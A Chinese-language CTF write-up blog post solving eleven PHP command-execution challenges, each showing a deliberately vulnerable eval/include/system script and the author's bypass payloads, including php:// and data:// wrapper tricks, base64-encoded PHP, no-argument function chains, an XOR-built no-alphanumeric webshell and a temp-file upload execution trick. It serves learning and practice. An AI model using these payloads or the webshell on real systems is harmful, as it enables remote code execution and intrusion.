AWCTF-web(命令执行)

前言

最近我们的CTF平台上了一些新的web题,关于命令执行。em.....本人对于命令执行也只能是初步了解阶段。

正好可以趁此再对于知识点进行补充。话不多说,整活!!!

web1

首先我们要打开,靶场。里面是一段php代码

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

经审计,发现其实非常简单。需要对$c进行传参,而这里过滤了flag。那我们只需绕过即可。

首先我们利用system函数找到flag所在位置pyload:

?c=system('ls ../../../');

然后获取里面的数据即可,pyload:

?c=system('cat ../../../fla\g');

 

web2

来到第二关,php代码如下

 <?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这次我们发现,它不仅过滤了flag,而且对system与php也进行了过滤。

这里它过滤了system怎么办。不能使用system函数了。

那我们只需找另一个函数来代替system了。

我们来看一下。常见的命令执行都有哪些

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

其中有回显的只有system()passthru()函数。其余几个命令执行函数需要调用echo或者其他输出函数

这里我们使用passthru()函数即可,操作方法与web1相同

web3

php代码如下:

 <?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这题它过滤了好多关键,而且还有空格,那我们可以利用eval()函数来进行执行

pyload:

?c=eval($_GET[cmd]);&cmd=system('cd ..;cd ..;cd ..;ls;cat flag');

即可获得flag

 

 

 web4

我们再看web4,php代码如下:

 <?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

此题在以上基础上进一步地过滤了引号与分号。这如何是好。借鉴了一下大佬的文章。

它过滤了分号,我们可以利用短标签?>进行绕过。然后使用include进行传参,利用php伪协议来读取文件

pyload:

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=/flag

得到一串base64密文,解码即可获得flag

web5

代码如下

<?php

//flag in /flag
//error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        // echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
} 

这次flag存放在/flag文件里。而且过滤了flag,所以这次php://filter 就用不了。

我们可以使用data://协议

data://协议,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

pyload:

?c=data://text/plain,<?php system('cat ../../../fla\g');?> 

即可获得flag

web6

 <?php

// flag in /flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        // echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}  

经过审计可知,此题是在上题的基础上把php与file都过滤掉了。那我们就用base64绕过,只需将php代码以base64的形式表示

pyload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgLi4vLi4vLi4vZmxhXGciKTs/Pg== //base64编码就是<?php system("cat ../../../fla\g");?>

即可得到flag

web7(无参数)

我们来到了第七关,先看一下代码吧。

 <?php


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}  

经过审计。发现过滤了很多东西。经过借鉴大佬文章。得知。此题需要php无参数函数构造。先把Pyload扔下:

?c=readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

 

什么是无参数

就是使用函数的时候不能带有参数。

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

所以我们要使用无参数的函数进行文件读取或者命令执行。

 

函数

current() 返回数组中的单元,默认第一个值。

scandir() 函数返回指定目录中的文件和目录的数组。

array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。

dirname() :返回路径中的目录部分。(也就是返回上一级)

chdir() :改变当前工作目录

next():将数组中的内部指针向前移动一位

readfile():读取文件数据

chdir():切换工作路径

getcwd():获得绝对路径

解题

首先print_r(next(scandir(getcwd())));出现的数组第二个就是".."

然后使用next()就可查看当前目录了

?c=print_r(scandir(dirname(getcwd())));//查看当前目录
?c=print_r(scandir(dirname(dirname(getcwd()))));//查看上一级目录
?c=print_r(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))));

这样可获得flag文件

 

 

 然后我们开始读取里面的文件,可利用readfile与array_rand(array_flip())

最后可构造pyload

?c=readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

因为数组是随机生成的,所以一定要多刷新几次。才会出来。

 

详细可参考此链接

web8

代码如下:

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 
>/dev/null 2>&1 //表示的意思就是不显示任何信息。

详细可参考此链接

需要回显的话可用命令分隔

;    //分号
|    //只执行后面那条命令
||    //只执行前面那条命令
&    //两条命令都会执行
&&    //两条命令都会执行

pyload:

?c=cat ../../../flag;

web9(无字母数字)

 <?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
    echo "hacker!!!";
}else{
    eval($_GET['shell']);
}
?> 

参考文章:无字母数字webshell

可以使用此脚本

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

然后再_=system('cat ../../../flag');

即可获得flag、

 

 

 

web10

 <?php


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了字母,数字。

解题思路:

我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过.去执行sh命令不需要有执行权限**

首先是构造一个post文件上传

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://49.232.149.138:10037/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后传php文件,抓包,构造pyload为:

?c=.+/???/????????[@-[]

php文件内容为

#!/bin/sh
cat /flag

 

 一定要多试试,每次上传的文件不一定有大写的文件名,需要多上传几次

web11

方法与web10一样。按步骤来即可

 

posted @ 2021-01-30 21:11  AW_SOLE  阅读(649)  评论(0)    收藏  举报